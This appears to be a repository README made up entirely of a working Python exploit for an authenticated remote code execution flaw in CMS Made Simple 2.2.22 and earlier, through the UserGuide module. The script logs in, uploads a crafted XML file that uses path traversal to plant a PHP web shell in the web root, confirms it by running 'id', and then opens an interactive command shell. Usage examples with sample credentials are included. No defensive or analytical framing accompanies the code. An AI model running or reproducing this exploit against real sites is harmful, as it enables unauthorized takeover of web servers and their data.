README.md
Rendering markdown...
import requests
import base64
import sys
import re
from urllib.parse import urljoin
class CMSMadeSimpleExploit:
def __init__(self, base_url, admin_url, username, password):
self.base_url = base_url.rstrip("/")
self.admin_url = admin_url.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = False
requests.packages.urllib3.disable_warnings()
def login(self):
print("[*] Logging into admin panel...")
login_url = urljoin(self.admin_url, "/login.php")
response = self.session.get(login_url)
# Get CSRF token if present
csrf_match = re.search(r'name="__csrf_token"\s*value="([^"]+)"', response.text)
csrf_token = csrf_match.group(1) if csrf_match else ""
login_data = {
"username": self.username,
"password": self.password,
"logintoken": csrf_token,
"submit": "Login"
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Content-Type": "application/x-www-form-urlencoded"
}
response = self.session.post(login_url, data=login_data, headers=headers, allow_redirects=True)
if "logout" in response.text.lower() or "admin" in response.url:
print("[+] Login successful")
return True
else:
print("[-] Login failed")
return False
def generate_malicious_xml(self, upload_path, php_code):
encoded_code = base64.b64encode(php_code.encode()).decode()
xml_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>{upload_path}</filename>
<isdir>0</isdir>
<data>{encoded_code}</data>
</file>
</files>
</modulecontent>"""
return xml_content
def exploit(self, upload_path, php_code="", webshell_name="cmd"):
if not php_code:
php_code = f"""<?php
if(isset($_REQUEST['cmd'])){{
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}}
?>"""
print("[*] Creating malicious XML payload...")
xml_payload = self.generate_malicious_xml(upload_path, php_code)
# First get the import page to grab any tokens
import_url = urljoin(self.admin_url, "/moduleinterface.php?module=UserGuide&action=import")
response = self.session.get(import_url)
csrf_match = re.search(r'name="__csrf_token"\s*value="([^"]+)"', response.text)
csrf_token = csrf_match.group(1) if csrf_match else ""
print("[*] Uploading malicious XML file...")
files = {
"m1_input_file": ("exploit.xml", xml_payload, "text/xml")
}
post_data = {
"m1_submit": "Import"
}
if csrf_token:
post_data["__csrf_token"] = csrf_token
upload_response = self.session.post(import_url, files=files, data=post_data)
if upload_response.status_code == 200 and "success" in upload_response.text.lower():
print(f"[+] File uploaded successfully via path traversal!")
else:
print(f"[?] Upload response code: {upload_response.status_code}")
print("[*] Checking if webshell was written anyway...")
# Extract just the filename for the webshell URL
shell_filename = upload_path.split("/")[-1]
shell_url = urljoin(self.base_url, f"/{shell_filename}")
print(f"\n[*] Trying to access webshell at: {shell_url}")
test_response = self.session.get(shell_url, params={"cmd": "id"})
if test_response.status_code == 200 and "uid=" in test_response.text:
print(f"[+] Webshell is alive!")
print(f"[+] Command output: {test_response.text.strip()}")
return shell_url
else:
print("[-] Could not verify webshell at expected location")
print("[*] Try common CMS Made Simple paths:")
alternative_paths = [
urljoin(self.base_url, f"/uploads/{shell_filename}"),
urljoin(self.base_url, f"/tmp/{shell_filename}"),
urljoin(self.admin_url, f"/{shell_filename}"),
]
for alt_url in alternative_paths:
alt_response = self.session.get(alt_url, params={"cmd": "id"})
if "uid=" in alt_response.text:
print(f"[+] Found webshell at: {alt_url}")
return alt_url
return None
def interactive_shell(self, shell_url):
print("\n[*] Interactive shell mode. Type 'exit' to quit.")
while True:
try:
cmd = input("$ ")
if cmd.lower() in ["exit", "quit"]:
break
response = self.session.get(shell_url, params={"cmd": cmd})
print(response.text)
except KeyboardInterrupt:
break
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
print("""
CMS Made Simple <= 2.2.22 - UserGuide Module RCE
Path Traversal / Arbitrary File Upload Exploit
==================================================
""")
if len(sys.argv) < 5:
print("Usage: python exploit.py <base_url> <admin_url> <username> <password> [upload_path]")
print("")
print("Examples:")
print(" python exploit.py http://target.com http://target.com/admin admin password123")
print(" python exploit.py http://target.com http://target.com/admin admin password123 ../../../../../../var/www/html/backdoor.php")
print("")
sys.exit(1)
base_url = sys.argv[1]
admin_url = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
upload_path = "../../../../../../var/www/html/shell.php"
if len(sys.argv) > 5:
upload_path = sys.argv[5]
exploit = CMSMadeSimpleExploit(base_url, admin_url, username, password)
if not exploit.login():
sys.exit(1)
shell_url = exploit.exploit(upload_path)
if shell_url:
print("\n[+] Exploit successful! Starting interactive shell...")
exploit.interactive_shell(shell_url)